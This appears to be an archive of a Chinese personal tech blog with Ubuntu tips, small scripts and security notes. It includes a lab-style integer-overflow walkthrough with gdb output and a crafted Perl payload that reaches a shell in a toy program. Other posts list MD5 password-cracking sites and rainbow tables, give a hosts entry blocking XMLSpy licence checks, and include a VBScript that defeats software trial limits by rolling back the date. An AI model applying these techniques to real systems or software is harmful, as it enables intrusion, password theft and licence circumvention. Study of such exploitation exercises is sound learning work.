清风阁

ubuntu Python 线程数限制问题

2012-02-19T06:37:00.000-08:00

ubuntu 下发现python 线程数限制比较奇怪，100 多就报线程创建错误了。以前也有听到这种现象没有在意，这次自己也遇上了，跟了一下。

和线程堆栈大小有关系，使用ulimit -a 可以看到所有参数。ulimit -s 512，重新启动程序搞定。C 中没有此问题，记录一下。

2012年计划

2012-01-11T17:12:00.000-08:00

1. 加强基础知识学习（操作系统，算法，数据结构）
2. 加强英语学习
3. 加强逆向调试能力
4. 加强网络安全学习（漏洞挖掘，漏洞利用）
5. 结合理论，形成有效框架和工具
6. 读几本好书

tcpdns.py

2011-10-12T01:54:00.000-07:00

用python写了个小程序解决Linux下DNS 问题，
程序原理: 监听127.0.0.1 53 端口，将udp dns请求
报文改为tcp dns 报文向远程DNS服务器发送。
使用方法将/etc/resolv.conf 的配置改为
nameserver 127.0.0.1

https://github.com/henices/Tcp-DNS-proxy

简单整型溢出分析

2011-09-20T22:14:00.001-07:00

源代码 interger.c
------------------------------------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv)
{

int count = atoi(argv[1]);
int buf[10];

if(count >= 10 )
return 1;

memcpy(buf, argv[2], count * sizeof(int));

if(count == 0x574f4c46) {
printf("WIN!\n");
execl("/bin/sh", "sh" ,NULL);
} else
printf("Not today son\n");

return 0;
}
------------------------------------------------------------------------------

如果count >= 10, 则程序退出，想要执行到下面的语句，我们必须给count赋值一个负数
关键是计算count*sizeof(int)的值, sizeof(int)在intel 32 位的机器上因该是一个机器
字长为4.我们构造一个负数值给count，其二进制补码如下：
1000 0000 0000 0000 0000 0000 0001 0000
对应的十进制数值为：-2147483632
这样count * sizeof(int)的值如下（即上面的值左移2位）：
0000 0000 0000 0000 0000 0000 0100 0000

则count * sizeof(int) = 64

这个整形溢出其实是buf的内存空间覆盖到了count的内存地址

使用gcc编译 gcc -o q9 -g interger.c, 用gdb调试
> gdb q9

用disassemble 查看反汇编代码

------------------------------------------------------------------------------
(gdb) disassemble main
Dump of assembler code for function main:
0x08048444 <+0>: push %ebp
0x08048445 <+1>: mov %esp,%ebp
0x08048447 <+3>: and $0xfffffff0,%esp
0x0804844a <+6>: sub $0x40,%esp
0x0804844d <+9>: mov 0xc(%ebp),%eax
0x08048450 <+12>: add $0x4,%eax
0x08048453 <+15>: mov (%eax),%eax
0x08048455 <+17>: mov %eax,(%esp)
0x08048458 <+20>: call 0x8048370 <atoi@plt>
0x0804845d <+25>: mov %eax,0x3c(%esp)
0x08048461 <+29>: cmpl $0x9,0x3c(%esp)
0x08048466 <+34>: jle 0x804846f <main+43>
0x08048468 <+36>: mov $0x1,%eax
0x0804846d <+41>: jmp 0x80484db <main+151>
0x0804846f <+43>: mov 0x3c(%esp),%eax
0x08048473 <+47>: lea 0x0(,%eax,4),%edx
0x0804847a <+54>: mov 0xc(%ebp),%eax
0x0804847d <+57>: add $0x8,%eax
0x08048480 <+60>: mov (%eax),%eax
0x08048482 <+62>: mov %edx,0x8(%esp)
0x08048486 <+66>: mov %eax,0x4(%esp)
0x0804848a <+70>: lea 0x14(%esp),%eax
0x0804848e <+74>: mov %eax,(%esp)
0x08048491 <+77>: call 0x8048360 <memcpy@plt>
0x08048496 <+82>: cmpl $0x574f4c46,0x3c(%esp)
0x0804849e <+90>: jne 0x80484ca <main+134>
0x080484a0 <+92>: movl $0x80485a0,(%esp)
0x080484a7 <+99>: call 0x8048380 <puts@plt>
0x080484ac <+104>: movl $0x0,0x8(%esp)
0x080484b4 <+112>: movl $0x80485a5,0x4(%esp)
0x080484bc <+120>: movl $0x80485a8,(%esp)
0x080484c3 <+127>: call 0x8048350 <execl@plt>
0x080484c8 <+132>: jmp 0x80484d6 <main+146>
0x080484ca <+134>: movl $0x80485b0,(%esp)
0x080484d1 <+141>: call 0x8048380 <puts@plt>
0x080484d6 <+146>: mov $0x0,%eax
0x080484db <+151>: leave
0x080484dc <+152>: ret
End of assembler dump.
------------------------------------------------------------------------------

在0x08048496处设置断点， br *0x08048496 （cmpl $0x574f4c46,0x3c(%esp)）
------------------------------------------------------------------------------
(gdb) br * 0x08048496
Breakpoint 1 at 0x8048496: file integer.c, line 33.
------------------------------------------------------------------------------

使用run命令，运行程序查看栈
------------------------------------------------------------------------------
(gdb) run -2147483632 $(perl -e 'print "A"x40 . "\x46\x4c\x4f\x57"')
Starting program: /home/zhouzhen/CTD/test/q9 -2147483632 $(perl -e 'print "A"x40
. "\x46\x4c\x4f\x57"')

Breakpoint 1, main (argc=3619120, argv=0xbffff1c4) at integer.c:33
33 if(count == 0x574f4c46) {
(gdb)
------------------------------------------------------------------------------

查看栈, 这时候可以发现 count 即0x3c(%esp) 的值为0x574f4c46，内存地址为0xbffff10c
-----------------------------------------------------------------------------
(gdb) x/4wx $esp+0x3c
0xbffff10c: 0x574f4c46 0x48535300 0x4547415f 0x505f544e
(gdb)
-----------------------------------------------------------------------------
已经成功达到了我们想到的地方。

参看栈分布情况
------------------------------------------------------------------------------
Breakpoint 1, main (argc=3619120, argv=0xbffff1c4) at integer.c:33
33 if(count == 0x574f4c46) {
(gdb)
(gdb)
(gdb) p $esp
$1 = (void *) 0xbffff0d0
(gdb) x/50wx 0xbffff0d0
0xbffff0d0: 0xbffff0e4 0xbffff3a0 0x00000040 0x0804831c
0xbffff0e0: 0x0028bff4 0x41414141 0x41414141 0x41414141
0xbffff0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff100: 0x41414141 0x41414141 0x41414141 0x574f4c46
0xbffff110: 0x48535300 0x4547415f 0x505f544e 0x323d4449
0xbffff120: 0x00373930 0xbffff1c4 0xbffff1d4 0x0012e414
0xbffff130: 0xffffffff 0x0012cff4 0x0804826c 0x00000001
0xbffff140: 0xbffff180 0x0011da31 0x0012dad0 0xb7fffc40
0xbffff150: 0x00000001 0x0028bff4 0x00000000 0x00000000
0xbffff160: 0xbffff198 0xc0563fde 0x170f86a1 0x00000000
0xbffff170: 0x00000000 0x00000000 0x00000003 0x08048390
0xbffff180: 0x00000000 0x00123c40 0x00145d5b 0x0012cff4
0xbffff190: 0x00000003 0x08048390
(gdb) bt
#0 main (argc=3619120, argv=0xbffff1c4) at integer.c:33
(gdb) print 0xbffff0d0+0x3c
$2 = 3221221644
(gdb) br *0x08048491 （call 0x8048360 <memcpy@plt>）
Breakpoint 3 at 0x8048491: file integer.c, line 31.
(gdb) info br
Num Type Disp Enb Address What
1 breakpoint keep y 0x08048496 in main at integer.c:33
breakpoint already hit 1 time
3 breakpoint keep y 0x08048491 in main at integer.c:31
(gdb) run -2147483632 $(perl -e 'print "A"x40 . "\x46\x4c\x4f\x57"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /test/q9 -2147483632 $(perl -e 'print "A"x40
. "\x46\x4c\x4f\x57"')

Breakpoint 3, 0x08048491 in main (argc=3, argv=0xbffff1c4) at integer.c:31
31 memcpy(buf, argv[2], count * sizeof(int));
(gdb)
(gdb) p $esp
$3 = (void *) 0xbffff0d0
(gdb) x/4xw 0xbffff0d0
0xbffff0d0: 0xbffff0e4 0xbffff3a0 0x00000040 0x0804831c
(gdb)

溢出后进程空间布局

|----------------------------|.
0x08048496 (Ret)
|---------------------------|.
| 0xbffff0e4(buf) | <------ esp      (0xbffff0d0)
|---------------------------|
0xbffff3a0(argv[2])       esp+4
|---------------------------|
0x00000040              esp+8
|---------------------------|
..................

|---------------------------|
"A"x40 (buf)               esp+0x14 (0xbffff0e4)
|---------------------------|
0x574f4c46(count)    esp+0x3c (0xbffff10c)
|---------------------------|

buf 地址0xbffff0e4, count 地址 0xbffff10c

计算出距离为40
(gdb) print 0xbffff10c - 0xbffff0e4
$12 = 40

这里还有一个little endian 还是 big endian的问题，这将影响0x574f4c46 的顺序
ubuntu linux, intel 32 位，使用的little endian，应此最后构造的数据是

$ perl -e 'print "A"x40 . "\x46\x4c\x4f\x57"'

Xmlspy 必须屏蔽的网站

2011-08-10T06:07:00.001-07:00

127.0.0.0 altova.com #XMLspy
127.0.0.0 www.altova.com #XMLspy
127.0.0.0 link.altova.com #XMLspy
127.0.0.0 link.altova.com #XMLspy

Biggest MD5 crack databases

2011-08-09T19:01:00.000-07:00

Post: #1

Biggest MD5 crack databases

-----------------------------------------------------------------
MOST BIGGEST SITE OF MD5 DECRYPING
-----------------------------------------------------------------

- http://www.hash-cracker.com (40,000,000)

- http://www.cmd5.com/english.aspx (457,354,352,282)

- http://www.md5crack.com

- http://www.hashchecker.com

- http://md5cracker.tk/ (MD5 Search engine by searches a total of 14 on-line crackers.)

- http://www.md5decrypter.com (5,889,729)

- http://md5.rednoize.com (56,502,235)

- http://www.tmto.org/?category=main&page=search_md5 (306.000.000.000)

- http://www.milw0rm.com/cracker/insert.php (Milw0rm Cracker db)

- http://blacklight.gotdns.org/cracker/crack.php (2,456,288)

- http://www.shell-storm.org/md5 ( The data base currently contains 169582 passwords )

- http://md5.xpzone.de (Need Account)

- http://passcracking.com/ (Register to increase your priority)

- http://www.xmd5.org

- Perl Script: MD5 Brute Forcer

-----------------------------------------------------------------
CRACKED PASSWORD LIST
-----------------------------------------------------------------
http://www.md5oogle.com/md5hashes.php
http://www.hashchecker.com/?_sls=hash_list&_from=1
http://www.milw0rm.com/cracker/list.php
http://darkc0de.com/database/cracked.txt

-----------------------------------------------------------------
RAINBOW TABLE
-----------------------------------------------------------------
http://www.freerainbowtables.com/en/download/
http://www.rainbowtables.net/

ubuntu 笔记

2011-07-31T20:32:00.000-07:00

持续更新， updating

2011-7-28

Q: 如何升级Google Chrome
A:
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -.
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
sudo apt-get update && sudo apt-get upgrade

Q: ubuntu 10.10 升级 11.04 遇到 The disc drive for / is not ready yet or not present
A:
察看/etc/fstab，发现被修改，恢复到升级前的样子，问题依旧。
求助万能的Google
http://askubuntu.com/questions/34997/disk-drive-not-ready-yet-or-not-available
后面索引到
http://ubuntuforums.org/showthread.php?t=1724209

解决方法，输入root密码后

mount -o remount, rw /
apt-get update -f
apt-get install -f
apt-get upgrade
apt-get dist-upgrade

实际上我的问题更久严重，遇到了依赖问题。
执行 dpkg --configure -a 后，正常进入系统。

现在需要 aptitude出场了，它能解决依赖问题。

aptitude full-upgrade

Q: 如何安全地升级内核
A:
sudo add-apt-repository ppa:kernel-ppa/ppa
sudo apt-get update -f
apt-cache showpkg linux-headers

安装需要的内核, 替换其中的内核版本
sudo apt-get install linux-headers-2.6.39-0 linux-headers-2.6.39-0-generic linux-image-2.6.39-0-generic --fix-missing

Q. ubuntu 下如何手动升级Firefox
A：
下载firefox-*.tar.bz2 , 解压到 /opt/firefox 即可。
建议先禁用插件，以避免麻烦

Q. ubuntu 下怎么使用vmware ESX 的client
A.
vmware 官方没有提供linux的ESX client，比较好的方法是找一台支持远程桌面的windows 安装客户端，然后
执行命令：
$ rdesktop 10.20.1.75 -u administrator -p password -g 1024x768 -s 'c:\Program Files\VMware\Infrastructure\Virtual Infrastructure Client\Launcher\VpxClient.exe' -D

ubuntu 10.10 升级到 11.04 崩溃解决一例

2011-07-14T23:58:00.000-07:00

现像： The disc drive for / is not ready yet or not present

察看/etc/fstab，发现被修改，恢复到升级前的样子，问题依旧。
求助万能的Google
http://askubuntu.com/questions/34997/disk-drive-not-ready-yet-or-not-available
后面索引到
http://ubuntuforums.org/showthread.php?t=1724209

解决方法，输入root密码后

mount -o remount, rw /
apt-get update -f
apt-get install -f
apt-get upgrade
apt-get dist-upgrade

实际上我的问题更久严重，遇到了依赖问题。
执行 dpkg --configure -a 后，正常进入系统。

现在需要 aptitude出场了，它能解决依赖问题。

aptitude full-upgrade

OK， All Done。纪录下来，供兄弟们参考。

更换 vim color scheme

2011-07-14T23:46:00.000-07:00

文件下载： code.google.com/p/vimcolorschemetest/

mkdir ~/.vim/colors
cp xxx.vim ~/vim/colors

在vim命令行：color xxx

对网络安全的理解

2011-05-04T06:05:00.000-07:00

最近在wooyun上看了很多漏洞，发现很多厂商对漏洞的理解还是很片面的。只关注一些比较直接的问题，对一些相对间接的漏洞就往往忽略。安全是一个整体，大意失荆州。

因此我觉得网络安全问题还是会持续存在的，因为攻防的转换其实就是人与人之间的较量。

[转载] FTP传输的两种形式

2011-04-13T23:26:00.000-07:00

ASCII传输方式假定用户正在拷贝的文件包含的简单ASCII码文本，如果在远程机器上运行的不是UNIX，当文件传输时ftp通常会自动地调整文件的内容以便于把文件解释成另外那台计算机存储文本文件的格式。但是常常有这样的情况，用户正在传输的文件包含的不是文本文件，它们可能是程序，数据库，字处理文件或者压缩文件（尽管字处理文件包含的大部分是文本，其中也包含有指示页尺寸，字库等信息的非打印字符）。在拷贝任何非文本文件之前，用 binary 命令告诉ftp逐字拷贝，不要对这些文件进行处理，这也是下面要讲的二进制传输。

二进制传输模式在二进制传输中，保存文件的位序，以便原始和拷贝的是逐位一一对应的。即使目的地机器上包含位序列的文件是没意义的。例如，macintosh以二进制方式传送可执行文件到Windows系统，在对方系统上，此文件不能执行。如果你在ASCII方式下传输二进制文件，即使不需要也仍会转译。这会使传输稍微变慢，也会损坏数据，使文件变得不能用。（在大多数计算机上，ASCII方式一般假设每一字符的第一有效位无意义，因为ASCII字符组合不使用它。如果你传输二进制文件，所有的位都是重要的。）如果你知道这两台机器是同样的，则二进制方式对文本文件和数据文件都是有效的。

一些不错的安全书

2011-03-21T06:25:00.000-07:00

黑客大曝光(第6版)
Linux黑客大曝光：Linux安全机密与解决方案(第2版)
黑客攻防技术宝典：第2版.系统实战篇
黑客攻防技术宝典：Web 实战篇
黑客新型攻击防范：深入剖析犯罪软件
SQL注入攻击与防御
数据库黑客大曝光
黑客大曝光：Web应用安全机密与解决方案
灰帽攻击安全手册--渗透测试与漏洞分析技术

Windows 7 和 Windows XP 启动引导过程比较

2011-03-12T07:03:00.000-08:00

wmi 读取BIOS信息（一）

2011-03-09T09:11:00.000-08:00

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\WMI")
Set colItems = objWMIService.ExecQuery("SELECT * FROM MS_SystemInformation")
For Each objItem In colItems
WScript.Echo "Active: " & objItem.Active & vbcrlf _
& "BaseBoardManufacturer: " & objItem.BaseBoardManufacturer & vbcrlf _
& "BaseBoardProduct: " & objItem.BaseBoardProduct & vbcrlf _
& "BaseBoardVersion: " & objItem.BaseBoardVersion & vbcrlf _
& "BIOSReleaseDate: " & objItem.BIOSReleaseDate & vbcrlf _
& "BIOSVendor: " & objItem.BIOSVendor & vbcrlf _
& "BIOSVersion: " & objItem.BIOSVersion & vbcrlf _
& "InstanceName: " & objItem.InstanceName & vbcrlf _
& "SystemManufacturer: " & objItem.SystemManufacturer & vbcrlf _
& "SystemProductName: " & objItem.SystemProductName & vbcrlf _
& "SystemVersion: " & objItem.SystemVersion & vbcrlf
Next

------------------------------------------------------------------------------------------------->

Active: True
BaseBoardManufacturer: LENOVO
BaseBoardProduct: 2007ET2
BaseBoardVersion: Not Available
BIOSReleaseDate: 04/01/2010
BIOSVendor: LENOVO
BIOSVersion: 79ETE6WW (2.26 )
InstanceName: Root\mssmbios\0000_0
SystemManufacturer: LENOVO
SystemProductName: 2007ET2
SystemVersion: ThinkPad T60

python eml parse

2011-02-27T18:46:00.000-08:00

#! /usr/bin/python
#coding:utf-8

import sys
import email

def parseeml(filename):

print 'parse file => %s' % filename

try:
fp = open(filename, "r")
msg = email.message_from_file(fp)
except:
print 'file %s not exist' % filename
return

From = msg.get('From')
if not From:
print 'file %s is not a mime format' % filename
fp.close()
return

# 循环信件中的每一个mime的数据块
for par in msg.walk():
if not par.is_multipart():
content_type = ''
content_type = par.get_content_type()
print content_type

name = par.get_param("name") #如果是附件
# 有附件
if name:
# 下面的三行代码只是为了解码象=?gbk?Q?=CF=E0=C6=AC.rar?=
# 这样的文件名
h = email.Header.Header(name)
dh = email.Header.decode_header(h)
charset = dh[0][1]
fname = dh[0][0]

if charset:
fname = fname.decode(charset).encode('utf-8')

print '附件名:', fname
data = par.get_payload(decode=True) #　解码出附件数据

f = open(fname, 'wb')
f.write(data)
f.close()

fp.close()
parseeml(fname)
# 无附件
else:

if 'text/html' in content_type:
f3 = open(filename + '.html', 'wb')
elif 'text/plain' in content_type:
f3 = open(filename + '.txt', 'w')

f3.write(par.get_payload(decode=True)) # 解码出文本内容
f3.close()
fp.close()

print '+'*60 # 用来区别各个部分的输出

if __name__ == '__main__':
if len(sys.argv) < 2:
print 'emlparse.py file'

parseeml(sys.argv[1])

Thinkpad T60 windows 7 声卡驱动

2011-02-22T06:18:00.000-08:00

Windows 7 自带的声卡驱动有问题，可以使用lenovo vista的驱动。
更换后声卡问题解决。

http://think.lenovo.com.cn/driver

[转]截止目前，去掉优酷、土豆等视频网站15秒广告的最全最简单方法

2011-02-19T07:43:00.000-08:00

#优酷
127.0.0.1 atm.youku.com
127.0.0.1 Fvid.atm.youku.com
127.0.0.1 html.atm.youku.com
127.0.0.1 valb.atm.youku.com
127.0.0.1 valf.atm.youku.com
127.0.0.1 valo.atm.youku.com
127.0.0.1 valp.atm.youku.com

127.0.0.1 lstat.youku.com
127.0.0.1 speed.lstat.youku.com
127.0.0.1 urchin.lstat.youku.com
127.0.0.1 stat.youku.com
127.0.0.1 static.lstat.youku.com
127.0.0.1 valc.atm.youku.com
127.0.0.1 vid.atm.youku.com
127.0.0.1 walp.atm.youku.com
#百度：
127.0.0.1 a.baidu.com
127.0.0.1 baidutv.baidu.com
127.0.0.1 bar.baidu.com
127.0.0.1 c.baidu.com
127.0.0.1 cjhq.baidu.com
127.0.0.1 cpro.baidu.com
127.0.0.1 drmcmm.baidu.com
127.0.0.1 e.baidu.com
127.0.0.1 eiv.baidu.com
127.0.0.1 hc.baidu.com
127.0.0.1 hm.baidu.com
127.0.0.1 ma.baidu.com
127.0.0.1 nsclick.baidu.com
127.0.0.1 spcode.baidu.com
127.0.0.1 tk.baidu.com
127.0.0.1 union.baidu.com
127.0.0.1 ucstat.baidu.com
127.0.0.1 utility.baidu.com
127.0.0.1 utk.baidu.com
127.0.0.1 focusbaiduafp.allyes.com
#奇艺
127.0.0.1 afp.qiyi.com
127.0.0.1 focusbaiduafp.allyes.com
#CNTV
127.0.0.1 a.cctv.com
127.0.0.1 a.cntv.cn
127.0.0.1 ad.cctv.com
127.0.0.1 d.cntv.cn
127.0.0.1 adguanggao.eee114.com
127.0.0.1 cctv.adsunion.com
#新浪视频
127.0.0.1 dcads.sina.com.cn
#pptv
127.0.0.1 pp2.pptv.com
#乐视
127.0.0.1 pro.letv.com
#搜狐高清
127.0.0.1 images.sohu.com
#我乐网
127.0.0.1 acs.56.com
127.0.0.1 acs.agent.56.com
127.0.0.1 acs.agent.v-56.com
127.0.0.1 bill.agent.56.com
127.0.0.1 bill.agent.v-56.com
127.0.0.1 stat.56.com
127.0.0.1 stat2.corp.56.com
127.0.0.1 union.56.com
127.0.0.1 uvimage.56.com
127.0.0.1 v16.56.com
#6间房
127.0.0.1 pole.6rooms.com
127.0.0.1 shrek.6.cn
127.0.0.1 simba.6.cn
127.0.0.1 union.6.cn
#土豆网
127.0.0.1 adextensioncontrol.tudou.com
127.0.0.1 iwstat.tudou.com
127.0.0.1 nstat.tudou.com
127.0.0.1 stats.tudou.com
127.0.0.1 .p2v.tudou.com
127.0.0.1 at-img1.tdimg.com
127.0.0.1 at-img2.tdimg.com
127.0.0.1 at-img3.tdimg.com
127.0.0.1 adplay.tudou.com
127.0.0.1 adcontrol.tudou.com
127.0.0.1 stat.tudou.com
#酷6网
127.0.0.1 1.allyes.com.cn
127.0.0.1 analytics.ku6.com
127.0.0.1 gug.ku6cdn.com
127.0.0.1 ku6.allyes.com
127.0.0.1 ku6afp.allyes.com
127.0.0.1 pq.stat.ku6.com
127.0.0.1 st.vq.ku6.cn
127.0.0.1 stat0.888.ku6.com
127.0.0.1 stat1.888.ku6.com
127.0.0.1 stat2.888.ku6.com
127.0.0.1 stat3.888.ku6.com
127.0.0.1 static.ku6.com
127.0.0.1 v0.stat.ku6.com
127.0.0.1 v1.stat.ku6.com
127.0.0.1 v2.stat.ku6.com
127.0.0.1 v3.stat.ku6.com
#激动网
127.0.0.1 86file.megajoy.com
127.0.0.1 86get.joy.cn
127.0.0.1 86log.joy.cn
#天线视频
127.0.0.1 casting.openv.com
127.0.0.1 m.openv.tv
127.0.0.1 uniclick.openv.com
#迅雷看看屏蔽：
127.0.0.1 mcfg.sandai.net
127.0.0.1 biz5.sandai.net
127.0.0.1 server1.adpolestar.net
127.0.0.1 advstat.xunlei.com
127.0.0.1 mpv.sandai.net

127.0.0.1 misc.web.xunlei.com
127.0.0.1 float.sandai.net

.DEF文件生成.lib文件

2011-02-19T04:21:00.000-08:00

call vcvarsall.bat

C:>lib /MACHINE:X86 /DEF:sqlite3.def
Microsoft (R) Library Manager Version 9.00.21022.08
Copyright (C) Microsoft Corporation. All rights reserved.

Creating library sqlite3.lib and object sqlite3.exp

当你感到困惑奇怪的时候

2011-02-18T05:36:00.000-08:00

当你感到困惑奇怪的时候，不是什么诡异的现象，是你没有看透，没有想明白而已。
事出必有因，稀奇古怪的事情还是少之又少的。

在任何时候都应该保持自己的本心，做自己想做，应该做的事情。
以一颗宽容、平和的心态去面对世界上的事情。只要真正做到问心无愧，被人误解又何如？

斗票形式严峻啊

2011-01-20T23:49:00.001-08:00

每年都有几天头疼，车票太难买了！

准备新的征程

2011-01-10T06:58:00.000-08:00

树欲静而风不止，随波逐流。

我还是我，我心依旧。

Git Community Book 中文版

2011-01-02T08:20:00.000-08:00

http://gitbook.liuhui998.com/index.html

PDF文件，感觉不错，大家可以看看。

将原来的数据搬了过来

2010-12-30T21:19:00.000-08:00

Blogger 还是比较清净些。

version control with Git

2010-12-21T08:21:00.000-08:00

非常好用的分布式版本控制系统，用起来非常舒服。

以后项目都用git管理，Linus Torvalds 真是牛人。

破解软件时间限制的程序

2010-12-19T05:17:00.000-08:00

Dim daytime

daytime = formatdatetime(now(), 2)

wscript.echo "Now is: " & daytime

wscript.echo "Change system data to 2010/12/18..."

Set os =WScript.CreateObject("WScript.Shell")

os.run "cmd /c date 2010/12/18", 0, True

wscript.sleep 3000

wscript.echo "Call some.exe"

os.run ".\some.exe", 1, True

wscript.echo "Restore system data to " & daytime

os.run "cmd /c date " & daytime, 0, True

清风阁